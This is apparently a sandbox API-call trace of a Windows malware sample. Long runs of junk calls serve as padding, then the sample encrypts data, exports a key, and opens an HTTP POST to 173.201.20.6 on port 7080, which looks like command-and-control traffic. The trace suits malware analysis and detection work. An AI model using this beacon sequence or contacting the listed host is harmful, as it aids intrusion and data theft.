GetCurrentProcessId () returned 0x79c [0134.493] GetCurrentProcessId () returned 0x79c [0134.493] lstrlenA (lpString="just string") returned 11 [0134.493] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.493] GetLastError () returned 0x12 [0134.493] GetLastError () returned 0x12 [0134.493] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0134.493] SetLastError (dwErrCode=0x12) [0134.493] GetCurrentProcess () returned 0xffffffff [0134.493] GetLastError () returned 0x12 [0134.493] wsprintfA (in: param_1=0x246f6eb, param_2="%X%P" | out: param_1="20CBEP") returned 6 [0134.493] SetLastError (dwErrCode=0x12) [0134.493] GetCurrentProcessId () returned 0x79c [0134.493] GetCurrentProcess () returned 0xffffffff [0134.493] GetLastError () returned 0x12 [0134.493] wsprintfA (in: param_1=0x246f6eb, param_2="%X%P" | out: param_1="20CBFP") returned 6 [0134.493] SetLastError (dwErrCode=0x12) [0134.493] GetCurrentProcessId () returned 0x79c [0134.493] GetLastError () returned 0x12 [0134.493] wsprintfA (in: param_1=0x246f6eb, param_2="%X%P" | out: param_1="20CC0P") returned 6 [0134.493] SetLastError (dwErrCode=0x12) [0134.493] GetCurrentProcessId () returned 0x79c [0134.493] GetCurrentProcessId () returned 0x79c [0134.493] GetCurrentProcessId () returned 0x79c [0134.493] GetCurrentProcessId () returned 0x79c [0134.493] lstrlenA (lpString="just string") returned 11 [0134.493] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.493] GetLastError () returned 0x12 [0134.493] GetLastError () returned 0x12 [0134.493] wsprintfA (in: param_1=0x246f6eb, param_2="%X%P" | out: param_1="20CDEP") returned 6 [0134.493] SetLastError (dwErrCode=0x12) [0134.493] GetCurrentProcessId () returned 0x79c [0134.493] GetCurrentProcessId () returned 0x79c [0134.493] GetCurrentProcessId () returned 0x79c [0134.493] GetCurrentProcessId () returned 0x79c [0134.493] lstrlenA (lpString="just string") returned 11 [0134.493] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.493] GetLastError () returned 0x12 [0134.493] lstrlenA (lpString="just string") returned 11 [0134.493] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.493] GetLastError () returned 0x12 [0134.493] GetCurrentProcessId () returned 0x79c [0134.493] GetCurrentProcessId () returned 0x79c [0134.493] GetCurrentProcessId () returned 0x79c [0134.493] lstrlenA (lpString="just string") returned 11 [0134.493] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.493] GetLastError () returned 0x12 [0134.493] GetCurrentProcessId () returned 0x79c [0134.494] GetCurrentProcessId () returned 0x79c [0134.494] GetCurrentProcessId () returned 0x79c [0134.494] lstrlenA (lpString="just string") returned 11 [0134.494] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.494] GetLastError () returned 0x12 [0134.494] GetCurrentProcessId () returned 0x79c [0134.494] lstrlenA (lpString="just string") returned 11 [0134.494] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.494] GetLastError () returned 0x12 [0134.494] GetCurrentProcess () returned 0xffffffff [0134.494] GetLastError () returned 0x12 [0134.494] wsprintfA (in: param_1=0x246f6eb, param_2="%X%P" | out: param_1="20E09P") returned 6 [0134.494] SetLastError (dwErrCode=0x12) [0134.494] GetCurrentProcessId () returned 0x79c [0134.494] GetLastError () returned 0x12 [0134.494] wsprintfA (in: param_1=0x246f6eb, param_2="%X%P" | out: param_1="20E0AP") returned 6 [0134.494] SetLastError (dwErrCode=0x12) [0134.494] GetCurrentProcessId () returned 0x79c [0134.494] GetCurrentProcessId () returned 0x79c [0134.494] GetCurrentProcessId () returned 0x79c [0134.494] GetCurrentProcessId () returned 0x79c [0134.494] lstrlenA (lpString="just string") returned 11 [0134.494] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.494] GetLastError () returned 0x12 [0134.494] GetLastError () returned 0x12 [0134.494] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0134.494] SetLastError (dwErrCode=0x12) [0134.494] GetCurrentProcess () returned 0xffffffff [0134.494] GetLastError () returned 0x12 [0134.494] wsprintfA (in: param_1=0x246f6eb, param_2="%X%P" | out: param_1="20E30P") returned 6 [0134.494] SetLastError (dwErrCode=0x12) [0134.494] GetCurrentProcessId () returned 0x79c [0134.494] GetCurrentProcess () returned 0xffffffff [0134.494] GetLastError () returned 0x12 [0134.494] wsprintfA (in: param_1=0x246f6eb, param_2="%X%P" | out: param_1="20E31P") returned 6 [0134.494] SetLastError (dwErrCode=0x12) [0134.494] GetCurrentProcessId () returned 0x79c [0134.494] GetLastError () returned 0x12 [0134.494] wsprintfA (in: param_1=0x246f6eb, param_2="%X%P" | out: param_1="20E32P") returned 6 [0134.494] SetLastError (dwErrCode=0x12) [0134.494] GetCurrentProcessId () returned 0x79c [0134.494] GetCurrentProcessId () returned 0x79c [0134.494] GetCurrentProcessId () returned 0x79c [0134.494] GetCurrentProcessId () returned 0x79c [0134.494] lstrlenA (lpString="just string") returned 11 [0134.494] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.494] GetLastError () returned 0x12 [0134.494] GetCurrentProcessId () returned 0x79c [0134.494] lstrlenA (lpString="just string") returned 11 [0134.494] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.494] GetLastError () returned 0x12 [0134.494] GetCurrentProcessId () returned 0x79c [0134.494] GetCurrentProcessId () returned 0x79c [0134.494] GetCurrentProcessId () returned 0x79c [0134.494] lstrlenA (lpString="just string") returned 11 [0134.494] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.494] GetLastError () returned 0x12 [0134.494] lstrlenA (lpString="just string") returned 11 [0134.494] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.494] GetLastError () returned 0x12 [0134.494] GetLastError () returned 0x12 [0134.494] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0134.495] SetLastError (dwErrCode=0x12) [0134.495] GetCurrentProcess () returned 0xffffffff [0134.495] GetLastError () returned 0x12 [0134.495] wsprintfA (in: param_1=0x246f6eb, param_2="%X%P" | out: param_1="20ED0P") returned 6 [0134.495] SetLastError (dwErrCode=0x12) [0134.495] GetCurrentProcessId () returned 0x79c [0134.495] GetCurrentProcess () returned 0xffffffff [0134.495] GetLastError () returned 0x12 [0134.495] wsprintfA (in: param_1=0x246f6eb, param_2="%X%P" | out: param_1="20ED1P") returned 6 [0134.495] SetLastError (dwErrCode=0x12) [0134.495] GetCurrentProcessId () returned 0x79c [0134.495] GetLastError () returned 0x12 [0134.495] wsprintfA (in: param_1=0x246f6eb, param_2="%X%P" | out: param_1="20ED2P") returned 6 [0134.495] SetLastError (dwErrCode=0x12) [0134.495] GetCurrentProcessId () returned 0x79c [0134.495] GetCurrentProcessId () returned 0x79c [0134.495] GetCurrentProcessId () returned 0x79c [0134.495] GetCurrentProcessId () returned 0x79c [0134.495] lstrlenA (lpString="just string") returned 11 [0134.495] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.495] GetLastError () returned 0x12 [0134.495] lstrlenA (lpString="just string") returned 11 [0134.495] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.495] GetLastError () returned 0x12 [0134.495] GetCurrentProcessId () returned 0x79c [0134.495] lstrlenA (lpString="just string") returned 11 [0134.495] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.495] GetLastError () returned 0x12 [0134.495] GetCurrentProcessId () returned 0x79c [0134.495] GetCurrentProcessId () returned 0x79c [0134.495] lstrlenA (lpString="just string") returned 11 [0134.495] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.495] GetLastError () returned 0x12 [0134.495] GetLastError () returned 0x12 [0134.495] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0134.495] SetLastError (dwErrCode=0x12) [0134.495] GetCurrentProcess () returned 0xffffffff [0134.495] GetLastError () returned 0x12 [0134.495] wsprintfA (in: param_1=0x246f6eb, param_2="%X%P" | out: param_1="20F8EP") returned 6 [0134.495] SetLastError (dwErrCode=0x12) [0134.495] GetCurrentProcessId () returned 0x79c [0134.495] GetCurrentProcess () returned 0xffffffff [0134.495] GetLastError () returned 0x12 [0134.495] wsprintfA (in: param_1=0x246f6eb, param_2="%X%P" | out: param_1="20F8FP") returned 6 [0134.495] SetLastError (dwErrCode=0x12) [0134.495] GetCurrentProcessId () returned 0x79c [0134.495] GetLastError () returned 0x12 [0134.495] wsprintfA (in: param_1=0x246f6eb, param_2="%X%P" | out: param_1="20F90P") returned 6 [0134.495] SetLastError (dwErrCode=0x12) [0134.495] GetCurrentProcessId () returned 0x79c [0134.495] GetCurrentProcessId () returned 0x79c [0134.495] GetCurrentProcessId () returned 0x79c [0134.495] GetCurrentProcessId () returned 0x79c [0134.495] lstrlenA (lpString="just string") returned 11 [0134.495] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.495] GetLastError () returned 0x12 [0134.495] GetCurrentProcessId () returned 0x79c [0134.495] GetCurrentProcessId () returned 0x79c [0134.495] lstrlenA (lpString="just string") returned 11 [0134.495] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.495] GetLastError () returned 0x12 [0134.496] GetCurrentProcess () returned 0xffffffff [0134.496] GetLastError () returned 0x12 [0134.496] wsprintfA (in: param_1=0x246f6eb, param_2="%X%P" | out: param_1="20FDFP") returned 6 [0134.496] SetLastError (dwErrCode=0x12) [0134.496] GetCurrentProcessId () returned 0x79c [0134.496] GetLastError () returned 0x12 [0134.496] wsprintfA (in: param_1=0x246f6eb, param_2="%X%P" | out: param_1="20FE0P") returned 6 [0134.496] SetLastError (dwErrCode=0x12) [0134.496] GetCurrentProcessId () returned 0x79c [0134.496] GetCurrentProcessId () returned 0x79c [0134.496] GetCurrentProcessId () returned 0x79c [0134.496] GetCurrentProcessId () returned 0x79c [0134.496] lstrlenA (lpString="just string") returned 11 [0134.496] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.496] GetLastError () returned 0x12 [0134.496] lstrlenA (lpString="just string") returned 11 [0134.496] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.496] GetLastError () returned 0x12 [0134.496] GetLastError () returned 0x12 [0134.496] GetCurrentProcess () returned 0xffffffff [0134.496] GetLastError () returned 0x12 [0134.496] wsprintfA (in: param_1=0x246f6eb, param_2="%X%P" | out: param_1="2106BP") returned 6 [0134.496] SetLastError (dwErrCode=0x12) [0134.496] GetCurrentProcessId () returned 0x79c [0134.496] GetLastError () returned 0x12 [0134.496] wsprintfA (in: param_1=0x246f6eb, param_2="%X%P" | out: param_1="2106CP") returned 6 [0134.496] SetLastError (dwErrCode=0x12) [0134.496] GetCurrentProcessId () returned 0x79c [0134.496] GetCurrentProcessId () returned 0x79c [0134.496] GetCurrentProcessId () returned 0x79c [0134.496] GetCurrentProcessId () returned 0x79c [0134.496] lstrlenA (lpString="just string") returned 11 [0134.496] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.496] GetLastError () returned 0x12 [0134.496] GetCurrentProcessId () returned 0x79c [0134.496] GetCurrentProcessId () returned 0x79c [0134.496] GetCurrentProcessId () returned 0x79c [0134.496] lstrlenA (lpString="just string") returned 11 [0134.496] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.496] GetLastError () returned 0x12 [0134.496] GetCurrentProcessId () returned 0x79c [0134.496] GetCurrentProcessId () returned 0x79c [0134.496] GetCurrentProcessId () returned 0x79c [0134.496] lstrlenA (lpString="just string") returned 11 [0134.496] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.496] GetLastError () returned 0x12 [0134.496] lstrlenA (lpString="just string") returned 11 [0134.496] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.496] GetLastError () returned 0x12 [0134.496] GetLastError () returned 0x12 [0134.496] wsprintfA (in: param_1=0x246f6eb, param_2="%X%P" | out: param_1="210BCP") returned 6 [0134.496] SetLastError (dwErrCode=0x12) [0134.496] GetCurrentProcessId () returned 0x79c [0134.496] GetCurrentProcessId () returned 0x79c [0134.496] GetCurrentProcessId () returned 0x79c [0134.496] GetCurrentProcessId () returned 0x79c [0134.496] lstrlenA (lpString="just string") returned 11 [0134.496] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.496] GetLastError () returned 0x12 [0134.496] GetCurrentProcessId () returned 0x79c [0134.496] GetCurrentProcessId () returned 0x79c [0134.496] lstrlenA (lpString="just string") returned 11 [0134.496] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.496] GetLastError () returned 0x12 [0134.496] GetCurrentProcessId () returned 0x79c [0134.496] lstrlenA (lpString="just string") returned 11 [0134.496] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.497] GetLastError () returned 0x12 [0134.497] GetCurrentProcessId () returned 0x79c [0134.497] GetCurrentProcessId () returned 0x79c [0134.497] GetCurrentProcessId () returned 0x79c [0134.497] lstrlenA (lpString="just string") returned 11 [0134.497] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.497] GetLastError () returned 0x12 [0134.497] GetLastError () returned 0x12 [0134.497] GetLastError () returned 0x12 [0134.497] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0134.497] SetLastError (dwErrCode=0x12) [0134.497] GetCurrentProcess () returned 0xffffffff [0134.497] GetLastError () returned 0x12 [0134.497] wsprintfA (in: param_1=0x246f6eb, param_2="%X%P" | out: param_1="21128P") returned 6 [0134.497] SetLastError (dwErrCode=0x12) [0134.497] GetCurrentProcessId () returned 0x79c [0134.497] GetCurrentProcess () returned 0xffffffff [0134.497] GetLastError () returned 0x12 [0134.497] wsprintfA (in: param_1=0x246f6eb, param_2="%X%P" | out: param_1="21129P") returned 6 [0134.497] SetLastError (dwErrCode=0x12) [0134.497] GetCurrentProcessId () returned 0x79c [0134.497] GetLastError () returned 0x12 [0134.497] wsprintfA (in: param_1=0x246f6eb, param_2="%X%P" | out: param_1="2112AP") returned 6 [0134.497] SetLastError (dwErrCode=0x12) [0134.497] GetCurrentProcessId () returned 0x79c [0134.497] GetCurrentProcessId () returned 0x79c [0134.497] GetCurrentProcessId () returned 0x79c [0134.497] GetCurrentProcessId () returned 0x79c [0134.497] lstrlenA (lpString="just string") returned 11 [0134.497] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.497] GetLastError () returned 0x12 [0134.497] GetLastError () returned 0x12 [0134.497] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0134.497] SetLastError (dwErrCode=0x12) [0134.497] GetCurrentProcess () returned 0xffffffff [0134.497] GetLastError () returned 0x12 [0134.497] wsprintfA (in: param_1=0x246f72b, param_2="%X%P" | out: param_1="21150P") returned 6 [0134.497] SetLastError (dwErrCode=0x12) [0134.497] GetCurrentProcessId () returned 0x79c [0134.497] GetCurrentProcess () returned 0xffffffff [0134.497] GetLastError () returned 0x12 [0134.497] wsprintfA (in: param_1=0x246f75b, param_2="%X%P" | out: param_1="21151P") returned 6 [0134.497] SetLastError (dwErrCode=0x12) [0134.497] GetCurrentProcessId () returned 0x79c [0134.497] GetLastError () returned 0x12 [0134.497] wsprintfA (in: param_1=0x246f76b, param_2="%X%P" | out: param_1="21152P") returned 6 [0134.497] SetLastError (dwErrCode=0x12) [0134.497] GetCurrentProcessId () returned 0x79c [0134.497] GetCurrentProcessId () returned 0x79c [0134.497] GetCurrentProcessId () returned 0x79c [0134.497] GetCurrentProcessId () returned 0x79c [0134.497] lstrlenA (lpString="just string") returned 11 [0134.497] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.498] GetLastError () returned 0x12 [0134.498] CryptDuplicateHash (in: hHash=0x4e6e68, pdwReserved=0x0, dwFlags=0x0, phHash=0x246f868 | out: phHash=0x246f868) returned 1 [0134.498] CryptEncrypt (in: hKey=0x4e6b98, hHash=0x4ed740, Final=1, dwFlags=0x0, pbData=0x4ed654*, pdwDataLen=0x246f85c*=0xdc, dwBufLen=0xe0 | out: pbData=0x4ed654*, pdwDataLen=0x246f85c*=0xe0) returned 1 [0134.499] GetCurrentProcessId () returned 0x79c [0134.499] CryptExportKey (in: hKey=0x4e6b98, hExpKey=0x4e6a40, dwBlobType=0x1, dwFlags=0x40, pbData=0x246f7ec, pdwDataLen=0x246f858 | out: pbData=0x246f7ec*, pdwDataLen=0x246f858*=0x6c) returned 1 [0134.500] lstrlenA (lpString="just string") returned 11 [0134.500] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.500] CryptGetHashParam (in: hHash=0x4ed740, dwParam=0x2, pbData=0x4ed640, pdwDataLen=0x246f858, dwFlags=0x0 | out: pbData=0x4ed640, pdwDataLen=0x246f858) returned 1 [0134.500] CryptDestroyHash (hHash=0x4ed740) returned 1 [0134.500] GetLastError () returned 0x0 [0134.500] lstrlenA (lpString="just string") returned 11 [0134.500] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.500] GetLastError () returned 0x0 [0134.500] _snwprintf (in: _Dest=0x246f888, _Count=0x40, _Format="%u.%u.%u.%u" | out: _Dest="173.201.20.6") returned 12 [0134.500] ObtainUserAgentString (in: dwOption=0x0, pszUAOut=0x246f660, cbSize=0x246f860 | out: pszUAOut="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", cbSize=0x246f860) returned 0x0 [0134.505] GetLastError () returned 0x0 [0134.505] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0134.505] SetLastError (dwErrCode=0x0) [0134.505] GetCurrentProcess () returned 0xffffffff [0134.505] GetLastError () returned 0x0 [0134.505] wsprintfA (in: param_1=0x246f5cb, param_2="%X%P" | out: param_1="211DCP") returned 6 [0134.505] SetLastError (dwErrCode=0x0) [0134.505] GetCurrentProcessId () returned 0x79c [0134.505] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x246f660, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 179 [0134.506] GetCurrentProcess () returned 0xffffffff [0134.506] GetLastError () returned 0x0 [0134.506] wsprintfA (in: param_1=0x246f5cb, param_2="%X%P" | out: param_1="211DDP") returned 6 [0134.506] SetLastError (dwErrCode=0x0) [0134.506] GetCurrentProcessId () returned 0x79c [0134.506] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x246f660, cbMultiByte=-1, lpWideCharStr=0x4edea0, cchWideChar=179 | out: lpWideCharStr="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)") returned 179 [0134.506] GetLastError () returned 0x0 [0134.506] wsprintfA (in: param_1=0x246f5cb, param_2="%X%P" | out: param_1="211DEP") returned 6 [0134.506] SetLastError (dwErrCode=0x0) [0134.506] GetCurrentProcessId () returned 0x79c [0134.506] InternetOpenW (lpszAgent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0134.651] GetCurrentProcessId () returned 0x79c [0134.651] InternetConnectW (hInternet=0xcc0004, lpszServerName="173.201.20.6", nServerPort=0x1ba8, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0134.659] GetCurrentProcessId () returned 0x79c [0134.659] GetCurrentProcessId () returned 0x79c [0134.659] lstrlenA (lpString="just string") returned 11 [0134.659] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.659] GetLastError () returned 0x0 [0134.659] GetLastError () returned 0x0 [0134.659] wsprintfA (in: param_1=0x246f7a7, param_2="%X%P" | out: param_1="21210P") returned 6 [0134.660] SetLastError (dwErrCode=0x0) [0134.660] GetCurrentProcessId () returned 0x79c [0134.660] GetCurrentProcessId () returned 0x79c [0134.660] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName=0x0, lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x844cc300, dwContext=0x0) returned 0xcc000c [0134.661] GetCurrentProcessId () returned 0x79c [0134.661] GetLastError () returned 0x0 [0134.661] GetLastError () returned 0x0 [0134.661] GetLastError () returned 0x0 [0134.661] GetLastError () returned 0x0 [0134.661] GetLastError () returned 0x0 [0134.661] GetLastError () returned 0x0 [0134.661] GetLastError () returned 0x0 [0134.661] GetLastError () returned 0x0 [0134.661] GetLastError () returned 0x0 [0134.661] GetLastError () returned 0x0 [0134.661] GetLastError () returned 0x0 [0134.661] GetLastError () returned 0x0 [0134.661] GetLastError () returned 0x0 [0134.661] GetLastError () returned 0x0 [0134.661] GetLastError () returned 0x0 [0134.661] GetLastError () returned 0x0 [0134.661] GetLastError () returned 0x0 [0134.661] GetLastError () returned 0x0 [0134.661] GetLastError () returned 0x0 [0134.661] GetLastError () returned 0x0 [0134.661] GetLastError () returned 0x0 [0134.661] GetLastError () returned 0x0 [0134.661] GetLastError () returned 0x0 [0134.661] GetLastError () returned 0x0 [0134.661] GetLastError () returned 0x0 [0134.661] GetLastError () returned 0x0 [0134.661] GetLastError () returned 0x0 [0134.661] GetLastError () returned 0x0 [0134.661] GetLastError () returned 0x0 [0134.661] GetLastError () returned 0x0 [0134.661] GetLastError () returned 0x0 [0134.661] GetLastError () returned 0x0 [0134.661] GetLastError () returned 0x0 [0134.661] GetLastError () returned 0x0 [0134.661] GetLastError () returned 0x0 [0134.661] GetLastError () returned 0x0 [0134.661] GetLastError () returned 0x0 [0134.661] GetLastError () returned 0x0 [0134.661] GetLastError () returned 0x0 [0134.661] GetLastError () returned 0x0 [0134.661] GetLastError () returned 0x0 [0134.661] GetLastError () returned 0x0 [0134.661] GetLastError () returned 0x0 [0134.661] GetLastError () returned 0x0 [0134.661] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.662] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.663] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.664] GetLastError () returned 0x0 [0134.665] GetLastError () returned 0x0 [0134.665] GetLastError () returned 0x0 [0134.665] GetLastError () returned 0x0 [0134.665] GetLastError () returned 0x0 [0134.665] GetLastError () returned 0x0 [0134.665] GetLastError () returned 0x0 [0134.665] GetLastError () returned 0x0 [0134.665] GetLastError () returned 0x0 